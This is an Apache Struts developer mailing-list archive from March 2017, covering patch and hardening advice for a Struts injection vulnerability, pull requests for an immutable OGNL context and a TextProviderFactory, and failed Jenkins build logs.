> HTTP/1.1 404
> Content-Length: 0
> Date: Thu, 16 Mar 2017 09:02:54 GMT
> Connection: close
>
> Looking at my logs this fishing is going on all the time.
>
> MG>from what i read injections only happen with Content-Type injection
>
> MG>then again patches  Struts 2.3.32 or 2.5.10.1 has been available for
> some time
>
> MG>Johannes suggests implementing 'snort' to detect injection
> vulnerability reference link at sans.edu below:
> https://isc.sans.edu/forums/diary/Critical+Apache+Struts+
> 2+Vulnerability+Patch+Now/22169/
>
> MG>Thanks Lukasz!
>
> Thanks also Lukasz for the quick fix.
>
> Cheers Greg
>
>
>
>
> On 14 March 2017 at 18:17, Lukasz Lenart  wrote:
>
> > 2017-03-14 15:57 GMT+01:00 Doug Erickson :
> > > What is the proper server setup to prevent this?
> >
> > Upgrade to the latest Struts version ... and run server on a dedicated
> > account, block access to the world (sever should be only allowed to
> > connect to localhost) and few other things
> >
> >
> > Regards
> > --
> > Łukasz
> > + 48 606 323 122 http://www.lenart.org.pl/
> Łukasz Lenart - strona domowa
> www.lenart.org.pl
> pasja ciągle coś nowego. programowanie, tworzenie jest dla mnie życiową
> pasją, jak dotąd udaje mi sie łączyć to co lubię z tym za co mi płacą i ...
>
>
>
> >
> > -
> > To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
> > For additional commands, e-mail: dev-h...@struts.apache.org
> >
> >
>


Immutable context

2017-03-24 Thread Lukasz Lenart
Hi,

I have started working on immutable context, basically there is no way
to access #context key anymore, something that was quite often used by
hackers.

This can affect users using #context in their expressions but it works
for 99,99% of others.

https://github.com/apache/struts/pull/125


Regards
-- 
Łukasz
+ 48 606 323 122 http://www.lenart.org.pl/

-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



[GitHub] struts pull request #125: Immutable context

2017-03-24 Thread lukaszlenart
GitHub user lukaszlenart opened a pull request:

https://github.com/apache/struts/pull/125

Immutable context

WIP

You can merge this pull request into a Git repository by running:

$ git pull https://github.com/lukaszlenart/struts immutable-context

Alternatively you can review and apply these changes as the patch at:

https://github.com/apache/struts/pull/125.patch

To close this pull request, make a commit to your master/trunk branch
with (at least) the following in the commit message:

This closes #125


commit 7627b835556b0ecbd945a3ae1f27693eec41969f
Author: Lukasz Lenart 
Date:   2017-03-24T09:34:39Z

Moves documentation to wiki

commit 9d330eee27ba6c74d1fcb8d0c6223d322af9f11b
Author: Lukasz Lenart 
Date:   2017-03-24T10:02:35Z

Uses OGNL without #context magical key

commit dc2f122d9e4bb66605e4ea9f8cd2c9683c8c0819
Author: Lukasz Lenart 
Date:   2017-03-24T10:03:30Z

Adjusts OGNL usage to avoid modify immutable context




---
If your project is set up for it, you can reply to this email and have your
reply appear on GitHub as well. If your project does not have this feature
enabled and wishes so, or if the feature is enabled but not working, please
contact infrastructure at infrastruct...@apache.org or file a JIRA ticket
with INFRA.
---

-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



Build failed in Jenkins: Struts-examples-JDK8-master #46

2017-03-24 Thread Apache Jenkins Server
See 


Changes:

[Lukasz Lenart] Adds new example with custom TextProvider

[Lukasz Lenart] Adds example with custom TextProvider

--
[...truncated 1.93 KB...]
Modules changed, recalculating dependency graph
Established TCP socket on 38979
maven33-agent.jar already up to date
maven33-interceptor.jar already up to date
maven3-interceptor-commons.jar already up to date
[Struts-examples-JDK8-master] $ /home/jenkins/tools/java/latest1.8/bin/java 
-Xms128m -Xmx768m -XX:MaxPermSize=256m -XX:PermSize=128m -cp 
/home/jenkins/jenkins-slave/maven33-agent.jar:/home/jenkins/tools/maven/latest3/boot/plexus-classworlds-2.5.2.jar:/home/jenkins/tools/maven/latest3/conf/logging
 jenkins.maven3.agent.Maven33Main /home/jenkins/tools/maven/latest3/ 
/home/jenkins/jenkins-slave/slave.jar 
/home/jenkins/jenkins-slave/maven33-interceptor.jar 
/home/jenkins/jenkins-slave/maven3-interceptor-commons.jar 38979
Java HotSpot(TM) 64-Bit Server VM warning: ignoring option MaxPermSize=256m; 
support was removed in 8.0
Java HotSpot(TM) 64-Bit Server VM warning: ignoring option PermSize=128m; 
support was removed in 8.0
<===[JENKINS REMOTING CAPACITY]===>   channel started
Executing Maven:  -B -f 
 
-Dmaven.repo.local=/home/jenkins/jenkins-slave/maven-repositories/0 package
[INFO] Scanning for projects...
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:annotations:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:basic-struts:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:bean-validation:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:blank:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:coding-actions:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:control-tags:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:debugging-struts:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:exception-handling:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:exclude-parameters:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:form-processing:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:form-tags:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:form-validation:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:form-xml-validation:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:helloworld:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some problems were encountered while building the effective model for 
org.apache.struts:http-session:war:1.0.0
[WARNING] The expression ${artifactId} is deprecated. Please use 
${project.artifactId} instead.
[WARNING] 
[WARNING] Some 

Re: [GitHub] struts pull request #123: WW-4756: Introduce TextFactoryProvider

2017-03-24 Thread Lukasz Lenart
PR got merged and I have added an example app how to use the factory
https://github.com/apache/struts-examples/tree/master/text-provider

2017-03-17 8:19 GMT+01:00 Lukasz Lenart :
> I think this is the last part of the Text Localisation puzzle :) This
> PR introduces a dedicated interface - TextProviderFactory with a
> default implementation to allow create custom TextProviders but to
> avoid problems with multiple dependencies as it was reported by
> Christian.
>
>
> Regards
> --
> Łukasz
> + 48 606 323 122 http://www.lenart.org.pl/
>
> 2017-03-17 8:12 GMT+01:00 lukaszlenart :
>> GitHub user lukaszlenart opened a pull request:
>>
>> https://github.com/apache/struts/pull/123
>>
>> WW-4756: Introduce TextFactoryProvider
>>
>> This PR introduces a dedicated interface `TextProviderFactory` with a 
>> default implementation to allow easier further customisations by users.
>>
>> Implements [WW-4756](https://issues.apache.org/jira/browse/WW-4756)
>>
>> You can merge this pull request into a Git repository by running:
>>
>> $ git pull https://github.com/lukaszlenart/struts text-provider-factory
>>
>> Alternatively you can review and apply these changes as the patch at:
>>
>> https://github.com/apache/struts/pull/123.patch
>>
>> To close this pull request, make a commit to your master/trunk branch
>> with (at least) the following in the commit message:
>>
>> This closes #123
>>
>> 
>> commit 4f46f151844bcef39cd631a6fb1cd781fd34224a
>> Author: Lukasz Lenart 
>> Date:   2017-03-16T13:39:06Z
>>
>> Adds missing class header with license
>>
>> commit 9376bb0ca16595cac0a1d03fb7b4fa55ab66a8f3
>> Author: Lukasz Lenart 
>> Date:   2017-03-16T13:43:07Z
>>
>> Renames TextProviderFactory into StrutsTextProviderFactory
>>
>> commit 54974223fa1f6a66d8c1d61b7b18c94ef5c50386
>> Author: Lukasz Lenart 
>> Date:   2017-03-16T13:55:35Z
>>
>> Extracts TextProviderFactory interface
>>
>> commit 3b73544a8ff5e9d96885147bf25c7c2598ac6b21
>> Author: Lukasz Lenart 
>> Date:   2017-03-17T06:49:33Z
>>
>> Uses existing instance instead of creating a new one
>>
>> commit 207ac1774439f72cdfab32c45a3c59ba5a972899
>> Author: Lukasz Lenart 
>> Date:   2017-03-17T06:51:12Z
>>
>> Defines proper interfaces and default implementation in configuration
>>
>> commit 16d1d60ed826c639d2298b77b27c184d9684f21c
>> Author: Lukasz Lenart 
>> Date:   2017-03-17T06:51:57Z
>>
>> Uses dedicated logger instead the one from parent class
>>
>> commit 944b1a2303536023973456d6685f9ab86a775cb0
>> Author: Lukasz Lenart 
>> Date:   2017-03-17T06:59:50Z
>>
>> Injects proper dependencies into tag
>>
>> commit ee6c927db6663741c3d0179e16687704359ea40c
>> Author: Lukasz Lenart 
>> Date:   2017-03-17T07:02:24Z
>>
>> Drops unavailable dependency
>>
>> commit c039685cf946f5e9864ae175a14f3ccdc0edbe59
>> Author: Lukasz Lenart 
>> Date:   2017-03-17T07:02:52Z
>>
>> Moves bean into same area are other releated to it beans
>>
>> commit 132829cc244d60692e3547c5c40b72e29eea1a9e
>> Author: Lukasz Lenart 
>> Date:   2017-03-17T07:03:28Z
>>
>> Defines bean in test configuration
>>
>> commit e8a598c7bc83752f488ad4d0d11a64df3f03
>> Author: Lukasz Lenart 
>> Date:   2017-03-17T07:03:48Z
>>
>> Updates test to use the new injectable factory
>>
>> 
>>
>>
>> ---
>> If your project is set up for it, you can reply to this email and have your
>> reply appear on GitHub as well. If your project does not have this feature
>> enabled and wishes so, or if the feature is enabled but not working, please
>> contact infrastructure at infrastruct...@apache.org or file a JIRA ticket
>> with INFRA.
>> ---
>>
>> -
>> To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
>> For additional commands, e-mail: dev-h...@struts.apache.org
>>

-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



[GitHub] struts pull request #123: WW-4756: Introduce TextFactoryProvider

2017-03-24 Thread asfgit
Github user asfgit closed the pull request at:

https://github.com/apache/struts/pull/123


---
If your project is set up for it, you can reply to this email and have your
reply appear on GitHub as well. If your project does not have this feature
enabled and wishes so, or if the feature is enabled but not working, please
contact infrastructure at infrastruct...@apache.org or file a JIRA ticket
with INFRA.
---

-
To unsubscribe, e-mail: dev-unsubscr...@struts.apache.org
For additional commands, e-mail: dev-h...@struts.apache.org



Build failed in Jenkins: Struts-JDK9-master #91

2017-03-24 Thread Apache Jenkins Server
See 


Changes:

[Lukasz Lenart] Adds missing headers with license

[Lukasz Lenart] Process default conversion as required

--
[...truncated 1.36 MB...]
[INFO] --- maven-compiler-plugin:3.1:testCompile (default-testCompile) @ 
struts2-showcase ---
[INFO] Changes detected - recompiling the module!
[INFO] Compiling 14 source files to 

[WARNING] 
:
 

 uses or overrides a deprecated API.
[WARNING] 
:
 Recompile with -Xlint:deprecation for details.
[INFO] 
[INFO] --- maven-surefire-plugin:2.19.1:test (default-test) @ struts2-showcase 
---

---
 T E S T S
---
Running org.apache.struts2.showcase.filedownload.FileDownloadActionTest
Tests run: 5, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.112 sec - in 
org.apache.struts2.showcase.filedownload.FileDownloadActionTest

Results :

Tests run: 5, Failures: 0, Errors: 0, Skipped: 0

[JENKINS] Recording test results
[WARNING] Failed to notify spy hudson.maven.Maven3Builder$JenkinsEventSpy: 
Could not initialize class jenkins.model.Jenkins
[INFO] 
[INFO] --- maven-war-plugin:2.1:war (default-war) @ struts2-showcase ---
[WARNING] Error injecting: org.apache.maven.plugin.war.WarMojo
com.google.inject.ProvisionException: Unable to provision, see the following 
errors:

1) Error injecting constructor, java.lang.ExceptionInInitializerError: Cannot 
access defaults field of Properties
  at org.apache.maven.plugin.war.WarMojo.(Unknown Source)
  while locating org.apache.maven.plugin.war.WarMojo

1 error
at com.google.inject.internal.InjectorImpl$2.get(InjectorImpl.java:1025)
at 
com.google.inject.internal.InjectorImpl.getInstance(InjectorImpl.java:1051)
at 
org.eclipse.sisu.space.AbstractDeferredClass.get(AbstractDeferredClass.java:48)
at 
com.google.inject.internal.ProviderInternalFactory.provision(ProviderInternalFactory.java:81)
at 
com.google.inject.internal.InternalFactoryToInitializableAdapter.provision(InternalFactoryToInitializableAdapter.java:53)
at 
com.google.inject.internal.ProviderInternalFactory$1.call(ProviderInternalFactory.java:65)
at 
com.google.inject.internal.ProvisionListenerStackCallback$Provision.provision(ProvisionListenerStackCallback.java:115)
at 
org.eclipse.sisu.bean.BeanScheduler$Activator.onProvision(BeanScheduler.java:176)
at 
com.google.inject.internal.ProvisionListenerStackCallback$Provision.provision(ProvisionListenerStackCallback.java:126)
at 
com.google.inject.internal.ProvisionListenerStackCallback.provision(ProvisionListenerStackCallback.java:68)
at 
com.google.inject.internal.ProviderInternalFactory.circularGet(ProviderInternalFactory.java:63)
at 
com.google.inject.internal.InternalFactoryToInitializableAdapter.get(InternalFactoryToInitializableAdapter.java:45)
at 
com.google.inject.internal.InjectorImpl$2$1.call(InjectorImpl.java:1016)
at 
com.google.inject.internal.InjectorImpl.callInContext(InjectorImpl.java:1092)
at com.google.inject.internal.InjectorImpl$2.get(InjectorImpl.java:1012)
at org.eclipse.sisu.inject.Guice4$1.get(Guice4.java:162)
at org.eclipse.sisu.inject.LazyBeanEntry.getValue(LazyBeanEntry.java:81)
at 
org.eclipse.sisu.plexus.LazyPlexusBean.getValue(LazyPlexusBean.java:51)
at 
org.codehaus.plexus.DefaultPlexusContainer.lookup(DefaultPlexusContainer.java:263)
at 
org.codehaus.plexus.DefaultPlexusContainer.lookup(DefaultPlexusContainer.java:255)
at 
org.apache.maven.plugin.internal.DefaultMavenPluginManager.getConfiguredMojo(DefaultMavenPluginManager.java:517)
at 
org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo(DefaultBuildPluginManager.java:121)
at 
org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:207)
at 
org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:153)
at 
org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:145)
at 
org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:116)
at 
org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:80)
at